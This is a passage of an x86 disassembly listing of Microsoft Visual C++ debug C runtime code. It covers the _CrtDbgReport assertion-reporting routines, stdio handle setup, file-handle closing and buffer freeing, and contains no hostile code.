call sub_428830 loc_41ACB1: ; CODE XREF: sub_41ACA0+Aj mov eax, [ebp+arg_0] push eax call sub_428880 add esp, 4 push 0FFh call dword_4E0328 ; ExitProcess pop ebp retn sub_41ACA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACD0 proc near ; DATA XREF: .data:00437020o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4DF680, 0 jnz short loc_41ACE9 mov dword_4DF680, 200h jmp short loc_41ACFC ; --------------------------------------------------------------------------- loc_41ACE9: ; CODE XREF: sub_41ACD0+Bj cmp dword_4DF680, 14h jge short loc_41ACFC mov dword_4DF680, 14h loc_41ACFC: ; CODE XREF: sub_41ACD0+17j ; sub_41ACD0+20j push 83h push offset dword_434D7C push 2 push 4 mov eax, dword_4DF680 push eax call sub_415520 add esp, 14h mov dword_4DE674, eax cmp dword_4DE674, 0 jnz short loc_41AD65 mov dword_4DF680, 14h push 86h push offset dword_434D7C push 2 push 4 mov ecx, dword_4DF680 push ecx call sub_415520 add esp, 14h mov dword_4DE674, eax cmp dword_4DE674, 0 jnz short loc_41AD65 push 1Ah call sub_41AC70 add esp, 4 loc_41AD65: ; CODE XREF: sub_41ACD0+54j ; sub_41ACD0+89j mov [ebp+var_4], 0 jmp short loc_41AD77 ; --------------------------------------------------------------------------- loc_41AD6E: ; CODE XREF: sub_41ACD0+C4j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41AD77: ; CODE XREF: sub_41ACD0+9Cj cmp [ebp+var_4], 14h jge short loc_41AD96 mov eax, [ebp+var_4] shl eax, 5 add eax, offset off_444ED8 mov ecx, [ebp+var_4] mov edx, dword_4DE674 mov [edx+ecx*4], eax jmp short loc_41AD6E ; --------------------------------------------------------------------------- loc_41AD96: ; CODE XREF: sub_41ACD0+ABj mov [ebp+var_4], 0 jmp short loc_41ADA8 ; --------------------------------------------------------------------------- loc_41AD9F: ; CODE XREF: sub_41ACD0:loc_41ADF6j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41ADA8: ; CODE XREF: sub_41ACD0+CDj cmp [ebp+var_4], 3 jge short loc_41ADF8 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jz short loc_41ADE6 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] cmp dword ptr [eax+edx], 0 jnz short loc_41ADF6 loc_41ADE6: ; CODE XREF: sub_41ACD0+F8j mov ecx, [ebp+var_4] shl ecx, 5 mov dword_444EE8[ecx], 0FFFFFFFFh loc_41ADF6: ; CODE XREF: sub_41ACD0+114j jmp short loc_41AD9F ; --------------------------------------------------------------------------- loc_41ADF8: ; CODE XREF: sub_41ACD0+DCj mov esp, ebp pop ebp retn sub_41ACD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE00 proc near ; DATA XREF: .data:00437034o push ebp mov ebp, esp call sub_41B9E0 movsx eax, byte_4DDFB8 test eax, eax jz short loc_41AE18 call sub_428A90 loc_41AE18: ; CODE XREF: sub_41AE00+11j pop ebp retn sub_41AE00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE20 proc near ; CODE XREF: sub_414F40+55p ; sub_4173D0+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_444ED8 jb short loc_41AE4E cmp [ebp+arg_0], offset dword_445138 ja short loc_41AE4E mov eax, [ebp+arg_0] sub eax, offset off_444ED8 sar eax, 5 add eax, 1Ch push eax call sub_41BC80 add esp, 4 jmp short loc_41AE5B ; --------------------------------------------------------------------------- loc_41AE4E: ; CODE XREF: sub_41AE20+Aj ; sub_41AE20+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call dword_4E03A8 ; RtlEnterCriticalSection loc_41AE5B: ; CODE XREF: sub_41AE20+2Cj pop ebp retn sub_41AE20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE60 proc near ; CODE XREF: sub_41B9F0+7Ep ; sub_420560+6Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_41AE7A mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_41BC80 add esp, 4 jmp short loc_41AE87 ; --------------------------------------------------------------------------- loc_41AE7A: ; CODE XREF: sub_41AE60+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call dword_4E03A8 ; RtlEnterCriticalSection loc_41AE87: ; CODE XREF: sub_41AE60+18j pop ebp retn sub_41AE60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE90 proc near ; CODE XREF: sub_414F40+70p ; sub_4173D0+2Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_444ED8 jb short loc_41AEBE cmp [ebp+arg_0], offset dword_445138 ja short loc_41AEBE mov eax, [ebp+arg_0] sub eax, offset off_444ED8 sar eax, 5 add eax, 1Ch push eax call sub_41BD20 add esp, 4 jmp short loc_41AECB ; --------------------------------------------------------------------------- loc_41AEBE: ; CODE XREF: sub_41AE90+Aj ; sub_41AE90+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call dword_4E03A4 ; RtlLeaveCriticalSection loc_41AECB: ; CODE XREF: sub_41AE90+2Cj pop ebp retn sub_41AE90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AED0 proc near ; CODE XREF: sub_41B9F0+116p ; sub_420560+A0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_41AEEA mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_41BD20 add esp, 4 jmp short loc_41AEF7 ; --------------------------------------------------------------------------- loc_41AEEA: ; CODE XREF: sub_41AED0+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call dword_4E03A4 ; RtlLeaveCriticalSection loc_41AEF7: ; CODE XREF: sub_41AED0+18j pop ebp retn sub_41AED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF00 proc near ; CODE XREF: sub_41B010+113p ; sub_41B3A0+33p push ebp mov ebp, esp call dword_4E0464 ; DebugBreak pop ebp retn sub_41AF00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_41AF20 cmp dword ptr [ebp+8], 3 jl short loc_41AF25 loc_41AF20: ; CODE XREF: .data:0041AF18j or eax, 0FFFFFFFFh jmp short loc_41AF63 ; --------------------------------------------------------------------------- loc_41AF25: ; CODE XREF: .data:0041AF1Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFFh jnz short loc_41AF37 mov eax, [ebp+8] mov eax, dword_44515C[eax*4] jmp short loc_41AF63 ; --------------------------------------------------------------------------- loc_41AF37: ; CODE XREF: .data:0041AF29j mov ecx, [ebp+0Ch] and ecx, 0FFFFFFF8h test ecx, ecx jz short loc_41AF46 or eax, 0FFFFFFFFh jmp short loc_41AF63 ; --------------------------------------------------------------------------- loc_41AF46: ; CODE XREF: .data:0041AF3Fj mov edx, [ebp+8] mov eax, dword_44515C[edx*4] mov [ebp-4], eax mov ecx, [ebp+8] mov edx, [ebp+0Ch] mov dword_44515C[ecx*4], edx mov eax, [ebp-4] loc_41AF63: ; CODE XREF: .data:0041AF23j ; .data:0041AF35j ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_41AF80 cmp dword ptr [ebp+8], 3 jl short loc_41AF87 loc_41AF80: ; CODE XREF: .data:0041AF78j mov eax, 0FFFFFFFEh jmp short loc_41AFEA ; --------------------------------------------------------------------------- loc_41AF87: ; CODE XREF: .data:0041AF7Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFAh jnz short loc_41AF99 mov eax, [ebp+8] mov eax, dword_445168[eax*4] jmp short loc_41AFEA ; --------------------------------------------------------------------------- loc_41AF99: ; CODE XREF: .data:0041AF8Bj mov ecx, [ebp+8] mov edx, dword_445168[ecx*4] mov [ebp-4], edx cmp dword ptr [ebp+0Ch], 0FFFFFFFCh jnz short loc_41AFC0 push 0FFFFFFF5h call dword_4E0468 ; GetStdHandle mov ecx, [ebp+8] mov dword_445168[ecx*4], eax jmp short loc_41AFE7 ; --------------------------------------------------------------------------- loc_41AFC0: ; CODE XREF: .data:0041AFAAj cmp dword ptr [ebp+0Ch], 0FFFFFFFBh jnz short loc_41AFDA push 0FFFFFFF4h call dword_4E0468 ; GetStdHandle mov edx, [ebp+8] mov dword_445168[edx*4], eax jmp short loc_41AFE7 ; --------------------------------------------------------------------------- loc_41AFDA: ; CODE XREF: .data:0041AFC4j mov eax, [ebp+8] mov ecx, [ebp+0Ch] mov dword_445168[eax*4], ecx loc_41AFE7: ; CODE XREF: .data:0041AFBEj ; .data:0041AFD8j mov eax, [ebp-4] loc_41AFEA: ; CODE XREF: .data:0041AF85j ; .data:0041AF97j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4DE670 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4DE670, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B010 proc near ; CODE XREF: sub_414F40+24p ; sub_414FD0+2Cp ... var_302C = dword ptr -302Ch var_3028 = dword ptr -3028h var_3024 = byte ptr -3024h var_3010 = byte ptr -3010h var_300C = dword ptr -300Ch var_3008 = byte ptr -3008h var_3007 = byte ptr -3007h var_2008 = byte ptr -2008h var_2007 = byte ptr -2007h var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch push ebp mov ebp, esp mov eax, 302Ch call sub_4181D0 push edi mov [ebp+var_3008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_3007] rep stosd stosw stosb mov [ebp+var_2008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_2007] rep stosd stosw stosb mov [ebp+var_1000], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_FFF] rep stosd stosw stosb lea eax, [ebp+arg_14] mov [ebp+var_1004], eax cmp [ebp+arg_0], 0 jl short loc_41B07E cmp [ebp+arg_0], 3 jl short loc_41B086 loc_41B07E: ; CODE XREF: sub_41B010+66j or eax, 0FFFFFFFFh jmp loc_41B39B ; --------------------------------------------------------------------------- loc_41B086: ; CODE XREF: sub_41B010+6Cj cmp [ebp+arg_0], 2 jnz loc_41B130 push offset dword_445158 call dword_4E0454 ; InterlockedIncrement test eax, eax jle loc_41B130 cmp dword_4DDFE0, 0 jnz short loc_41B0EE push offset aUser32_dll_0 ; "user32.dll" call dword_4E037C ; LoadLibraryA mov [ebp+var_300C], eax cmp [ebp+var_300C], 0 jz short loc_41B0E6 push offset aWsprintfa ; "wsprintfA" mov ecx, [ebp+var_300C] push ecx call dword_4E0380 ; GetProcAddress mov dword_4DDFE0, eax cmp dword_4DDFE0, 0 jnz short loc_41B0EE loc_41B0E6: ; CODE XREF: sub_41B010+B4j or eax, 0FFFFFFFFh jmp loc_41B39B ; --------------------------------------------------------------------------- loc_41B0EE: ; CODE XREF: sub_41B010+9Aj ; sub_41B010+D4j mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"... lea ecx, [ebp+var_2008] push ecx call dword_4DDFE0 ; wsprintfA add esp, 10h lea edx, [ebp+var_2008] push edx call dword_4E046C ; OutputDebugStringA push offset dword_445158 call dword_4E0450 ; InterlockedDecrement call sub_41AF00 or eax, 0FFFFFFFFh jmp loc_41B39B ; --------------------------------------------------------------------------- loc_41B130: ; CODE XREF: sub_41B010+7Aj ; sub_41B010+8Dj cmp [ebp+arg_10], 0 jz short loc_41B16D mov eax, [ebp+var_1004] push eax mov ecx, [ebp+arg_10] push ecx push 0FEDh lea edx, [ebp+var_1000] push edx call sub_418C10 add esp, 10h test eax, eax jge short loc_41B16D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea eax, [ebp+var_1000] push eax call sub_418870 add esp, 8 loc_41B16D: ; CODE XREF: sub_41B010+124j ; sub_41B010+147j cmp [ebp+arg_0], 2 jnz short loc_41B1A5 cmp [ebp+arg_10], 0 jz short loc_41B185 mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: " jmp short loc_41B18F ; --------------------------------------------------------------------------- loc_41B185: ; CODE XREF: sub_41B010+167j mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!" loc_41B18F: ; CODE XREF: sub_41B010+173j mov ecx, [ebp+var_3028] push ecx lea edx, [ebp+var_3008] push edx call sub_418870 add esp, 8 loc_41B1A5: ; CODE XREF: sub_41B010+161j lea eax, [ebp+var_1000] push eax lea ecx, [ebp+var_3008] push ecx call sub_418880 add esp, 8 cmp [ebp+arg_0], 2 jnz short loc_41B1FA mov edx, [ebp+arg_0] mov eax, dword_44515C[edx*4] and eax, 1 test eax, eax jz short loc_41B1E6 push offset asc_434DB8 ; "\r" lea ecx, [ebp+var_3008] push ecx call sub_418880 add esp, 8 loc_41B1E6: ; CODE XREF: sub_41B010+1C0j push offset asc_434DB4 ; "\n" lea edx, [ebp+var_3008] push edx call sub_418880 add esp, 8 loc_41B1FA: ; CODE XREF: sub_41B010+1AFj cmp [ebp+arg_4], 0 jz short loc_41B242 lea eax, [ebp+var_3008] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push offset aSDS ; "%s(%d) : %s" push 1000h lea eax, [ebp+var_2008] push eax call sub_417E80 add esp, 18h test eax, eax jge short loc_41B240 push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_2008] push ecx call sub_418870 add esp, 8 loc_41B240: ; CODE XREF: sub_41B010+21Aj jmp short loc_41B258 ; --------------------------------------------------------------------------- loc_41B242: ; CODE XREF: sub_41B010+1EEj lea edx, [ebp+var_3008] push edx lea eax, [ebp+var_2008] push eax call sub_418870 add esp, 8 loc_41B258: ; CODE XREF: sub_41B010:loc_41B240j cmp dword_4DE670, 0 jz short loc_41B29C lea ecx, [ebp+var_1008] push ecx lea edx, [ebp+var_2008] push edx mov eax, [ebp+arg_0] push eax call dword_4DE670 add esp, 0Ch test eax, eax jz short loc_41B29C cmp [ebp+arg_0], 2 jnz short loc_41B291 push offset dword_445158 call dword_4E0450 ; InterlockedDecrement loc_41B291: ; CODE XREF: sub_41B010+274j mov eax, [ebp+var_1008] jmp loc_41B39B ; --------------------------------------------------------------------------- loc_41B29C: ; CODE XREF: sub_41B010+24Fj ; sub_41B010+26Ej mov ecx, [ebp+arg_0] mov edx, dword_44515C[ecx*4] and edx, 1 test edx, edx jz short loc_41B2EB mov eax, [ebp+arg_0] cmp dword_445168[eax*4], 0FFFFFFFFh jz short loc_41B2EB push 0 lea ecx, [ebp+var_3010] push ecx lea edx, [ebp+var_2008] push edx call sub_414EC0 add esp, 4 push eax lea eax, [ebp+var_2008] push eax mov ecx, [ebp+arg_0] mov edx, dword_445168[ecx*4] push edx call dword_4E03B4 ; WriteFile loc_41B2EB: ; CODE XREF: sub_41B010+29Bj ; sub_41B010+2A8j mov eax, [ebp+arg_0] mov ecx, dword_44515C[eax*4] and ecx, 2 test ecx, ecx jz short loc_41B309 lea edx, [ebp+var_2008] push edx call dword_4E046C ; OutputDebugStringA loc_41B309: ; CODE XREF: sub_41B010+2EAj mov eax, [ebp+arg_0] mov ecx, dword_44515C[eax*4] and ecx, 4 test ecx, ecx jz short loc_41B388 cmp [ebp+arg_8], 0 jz short loc_41B33D push 0Ah lea edx, [ebp+var_3024] push edx mov eax, [ebp+arg_8] push eax call sub_428B70 add esp, 0Ch mov [ebp+var_302C], eax jmp short loc_41B347 ; --------------------------------------------------------------------------- loc_41B33D: ; CODE XREF: sub_41B010+30Ej mov [ebp+var_302C], 0 loc_41B347: ; CODE XREF: sub_41B010+32Bj lea ecx, [ebp+var_1000] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_302C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41B3A0 add esp, 14h mov [ebp+var_1008], eax cmp [ebp+arg_0], 2 jnz short loc_41B380 push offset dword_445158 call dword_4E0450 ; InterlockedDecrement loc_41B380: ; CODE XREF: sub_41B010+363j mov eax, [ebp+var_1008] jmp short loc_41B39B ; --------------------------------------------------------------------------- loc_41B388: ; CODE XREF: sub_41B010+308j cmp [ebp+arg_0], 2 jnz short loc_41B399 push offset dword_445158 call dword_4E0450 ; InterlockedDecrement loc_41B399: ; CODE XREF: sub_41B010+37Cj xor eax, eax loc_41B39B: ; CODE XREF: sub_41B010+71j ; sub_41B010+D9j ... pop edi mov esp, ebp pop ebp retn sub_41B010 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B3A0 proc near ; CODE XREF: sub_41B010+351p var_1138 = dword ptr -1138h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = dword ptr -1114h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 1138h call sub_4181D0 loc_41B3AD: ; CODE XREF: sub_41B3A0+3Cj cmp [ebp+arg_10], 0 jnz short loc_41B3D8 push offset aSzusermessageN ; "szUserMessage != NULL" push 0 push 1DAh push offset aDbgrpt_c ; "dbgrpt.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_41B3D8 call sub_41AF00 loc_41B3D8: ; CODE XREF: sub_41B3A0+11j ; sub_41B3A0+31j xor eax, eax test eax, eax jnz short loc_41B3AD push 104h lea ecx, [ebp+var_108] push ecx push 0 call dword_4E0334 ; GetModuleFileNameA test eax, eax jnz short loc_41B40A push offset aProgramNameUnk ; "<program name unknown>" lea edx, [ebp+var_108] push edx call sub_418870 add esp, 8 loc_41B40A: ; CODE XREF: sub_41B3A0+54j lea eax, [ebp+var_108] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_414EC0 add esp, 4 cmp eax, 40h jbe short loc_41B44D mov edx, [ebp+var_4] push edx call sub_414EC0 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax-40h] mov [ebp+var_4], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_4] push eax call sub_417760 add esp, 0Ch loc_41B44D: ; CODE XREF: sub_41B3A0+82j mov ecx, [ebp+arg_C] mov [ebp+var_1110], ecx cmp [ebp+var_1110], 0 jz short loc_41B4A8 mov edx, [ebp+var_1110] push edx call sub_414EC0 add esp, 4 cmp eax, 40h jbe short loc_41B4A8 mov eax, [ebp+var_1110] push eax call sub_414EC0 add esp, 4 mov ecx, [ebp+var_1110] lea edx, [ecx+eax-40h] mov [ebp+var_1110], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_1110] push eax call sub_417760 add esp, 0Ch loc_41B4A8: ; CODE XREF: sub_41B3A0+BDj ; sub_41B3A0+D1j cmp [ebp+arg_0], 2 jnz short loc_41B4BA mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"... jmp short loc_41B4C4 ; --------------------------------------------------------------------------- loc_41B4BA: ; CODE XREF: sub_41B3A0+10Cj mov [ebp+var_1114], offset dword_434F04 loc_41B4C4: ; CODE XREF: sub_41B3A0+118j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41B4D9 mov eax, [ebp+arg_10] mov [ebp+var_1118], eax jmp short loc_41B4E3 ; --------------------------------------------------------------------------- loc_41B4D9: ; CODE XREF: sub_41B3A0+12Cj mov [ebp+var_1118], offset dword_434F04 loc_41B4E3: ; CODE XREF: sub_41B3A0+137j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41B4FF cmp [ebp+arg_0], 2 jnz short loc_41B4FF mov [ebp+var_111C], offset aExpression ; "Expression: " jmp short loc_41B509 ; --------------------------------------------------------------------------- loc_41B4FF: ; CODE XREF: sub_41B3A0+14Bj ; sub_41B3A0+151j mov [ebp+var_111C], offset dword_434F04 loc_41B509: ; CODE XREF: sub_41B3A0+15Dj mov eax, [ebp+arg_10] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_41B51F mov [ebp+var_1120], offset asc_434EF0 ; "\n\n" jmp short loc_41B529 ; --------------------------------------------------------------------------- loc_41B51F: ; CODE XREF: sub_41B3A0+171j mov [ebp+var_1120], offset dword_434F04 loc_41B529: ; CODE XREF: sub_41B3A0+17Dj cmp [ebp+arg_8], 0 jz short loc_41B53A mov edx, [ebp+arg_8] mov [ebp+var_1124], edx jmp short loc_41B544 ; --------------------------------------------------------------------------- loc_41B53A: ; CODE XREF: sub_41B3A0+18Dj mov [ebp+var_1124], offset dword_434F04 loc_41B544: ; CODE XREF: sub_41B3A0+198j cmp [ebp+arg_8], 0 jz short loc_41B556 mov [ebp+var_1128], offset aLine ; "\nLine: " jmp short loc_41B560 ; --------------------------------------------------------------------------- loc_41B556: ; CODE XREF: sub_41B3A0+1A8j mov [ebp+var_1128], offset dword_434F04 loc_41B560: ; CODE XREF: sub_41B3A0+1B4j cmp [ebp+arg_4], 0 jz short loc_41B571 mov eax, [ebp+arg_4] mov [ebp+var_112C], eax jmp short loc_41B57B ; --------------------------------------------------------------------------- loc_41B571: ; CODE XREF: sub_41B3A0+1C4j mov [ebp+var_112C], offset dword_434F04 loc_41B57B: ; CODE XREF: sub_41B3A0+1CFj cmp [ebp+arg_4], 0 jz short loc_41B58D mov [ebp+var_1130], offset aFile ; "\nFile: " jmp short loc_41B597 ; --------------------------------------------------------------------------- loc_41B58D: ; CODE XREF: sub_41B3A0+1DFj mov [ebp+var_1130], offset dword_434F04 loc_41B597: ; CODE XREF: sub_41B3A0+1EBj cmp [ebp+var_1110], 0 jz short loc_41B5AE mov ecx, [ebp+var_1110] mov [ebp+var_1134], ecx jmp short loc_41B5B8 ; --------------------------------------------------------------------------- loc_41B5AE: ; CODE XREF: sub_41B3A0+1FEj mov [ebp+var_1134], offset dword_434F04 loc_41B5B8: ; CODE XREF: sub_41B3A0+20Cj cmp [ebp+var_1110], 0 jz short loc_41B5CD mov [ebp+var_1138], offset aModule ; "\nModule: " jmp short loc_41B5D7 ; --------------------------------------------------------------------------- loc_41B5CD: ; CODE XREF: sub_41B3A0+21Fj mov [ebp+var_1138], offset dword_434F04 loc_41B5D7: ; CODE XREF: sub_41B3A0+22Bj mov edx, [ebp+var_1114] push edx mov eax, [ebp+var_1118] push eax mov ecx, [ebp+var_111C] push ecx mov edx, [ebp+var_1120] push edx mov eax, [ebp+var_1124] push eax mov ecx, [ebp+var_1128] push ecx mov edx, [ebp+var_112C] push edx mov eax, [ebp+var_1130] push eax mov ecx, [ebp+var_1134] push ecx mov edx, [ebp+var_1138] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, off_445174[ecx*4] push edx push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"... push 1000h lea eax, [ebp+var_110C] push eax call sub_417E80 add esp, 3Ch test eax, eax jge short loc_41B65D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_110C] push ecx call sub_418870 add esp, 8 loc_41B65D: ; CODE XREF: sub_41B3A0+2A7j push 12012h push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library" lea edx, [ebp+var_110C] push edx call sub_4293F0 add esp, 0Ch mov [ebp+var_10C], eax cmp [ebp+var_10C], 3 jnz short loc_41B696 push 16h call sub_429130 add esp, 4 push 3 call sub_417B10 loc_41B696: ; CODE XREF: sub_41B3A0+2E3j cmp [ebp+var_10C], 4 jnz short loc_41B6A6 mov eax, 1 jmp short loc_41B6A8 ; --------------------------------------------------------------------------- loc_41B6A6: ; CODE XREF: sub_41B3A0+2FDj xor eax, eax loc_41B6A8: ; CODE XREF: sub_41B3A0+304j mov esp, ebp pop ebp retn sub_41B3A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B6B0 proc near ; CODE XREF: sub_414FD0+71p ; sub_429E30+400p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DE420 jnb short loc_41B6E1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_41B6FC loc_41B6E1: ; CODE XREF: sub_41B6B0+Dj call sub_4224D0 mov dword ptr [eax], 9 call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_41B726 ; --------------------------------------------------------------------------- loc_41B6FC: ; CODE XREF: sub_41B6B0+2Fj mov edx, [ebp+arg_0] push edx call sub_4299C0 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_41B730 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_0] push ecx call sub_429A50 add esp, 4 mov eax, [ebp+var_4] loc_41B726: ; CODE XREF: sub_41B6B0+4Aj mov esp, ebp pop ebp retn sub_41B6B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B730 proc near ; CODE XREF: sub_41B6B0+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov eax, [ebp+arg_0] push eax call sub_429840 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_41B783 cmp [ebp+arg_0], 1 jz short loc_41B752 cmp [ebp+arg_0], 2 jnz short loc_41B76C loc_41B752: ; CODE XREF: sub_41B730+1Aj push 1 call sub_429840 add esp, 4 mov esi, eax push 2 call sub_429840 add esp, 4 cmp esi, eax jz short loc_41B783 loc_41B76C: ; CODE XREF: sub_41B730+20j mov ecx, [ebp+arg_0] push ecx call sub_429840 add esp, 4 push eax call dword_4E032C ; CloseHandle test eax, eax jz short loc_41B78C loc_41B783: ; CODE XREF: sub_41B730+14j ; sub_41B730+3Aj mov [ebp+var_4], 0 jmp short loc_41B795 ; --------------------------------------------------------------------------- loc_41B78C: ; CODE XREF: sub_41B730+51j call dword_4E0350 ; RtlGetLastWin32Error mov [ebp+var_4], eax loc_41B795: ; CODE XREF: sub_41B730+5Aj mov edx, [ebp+arg_0] push edx call sub_429760 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov byte ptr [edx+ecx+4], 0 cmp [ebp+var_4], 0 jz short loc_41B7D3 mov eax, [ebp+var_4] push eax call sub_422430 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41B7D5 ; --------------------------------------------------------------------------- loc_41B7D3: ; CODE XREF: sub_41B730+90j xor eax, eax loc_41B7D5: ; CODE XREF: sub_41B730+A1j pop esi mov esp, ebp pop ebp retn sub_41B730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B7E0 proc near ; CODE XREF: sub_414FD0+62p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi loc_41B7E6: ; CODE XREF: sub_41B7E0+2Ej cmp [ebp+arg_0], 0 jnz short loc_41B80A push offset dword_43449C push 0 push 30h push offset a_freebuf_c ; "_freebuf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_41B80A int 3 ; Trap to Debugger loc_41B80A: ; CODE XREF: sub_41B7E0+Aj ; sub_41B7E0+27j xor eax, eax test eax, eax jnz short loc_41B7E6 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 83h test edx, edx jz short loc_41B86D mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_41B86D push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_415C60 add esp, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 0FFFFFBF7h mov eax, [ebp+arg_0] mov [eax+0Ch], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 loc_41B86D: ; CODE XREF: 